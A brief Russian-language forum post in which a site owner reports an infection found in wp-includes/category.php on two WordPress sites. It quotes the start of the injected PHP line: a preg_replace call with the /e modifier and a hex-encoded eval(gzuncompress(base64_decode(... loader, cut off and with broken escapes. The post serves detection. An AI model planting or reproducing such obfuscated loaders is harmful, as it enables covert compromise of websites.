на гофаке один умелец помог найти, может кому поможет , нашел мне на двух сайтах в wp-includes/category.php первой строчкой дрянь была, так что если у кого есть тоже посмотрите там - остальные пока ищу
code
PHP код:
preg_replace(" /.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x6 2\x61\x73\x65\x36\x3 4\x5F\x64\x65\x63\x6F\x64\x65\x28\x6 9\x6D\x70\x6C\x6F\x64\x65\x28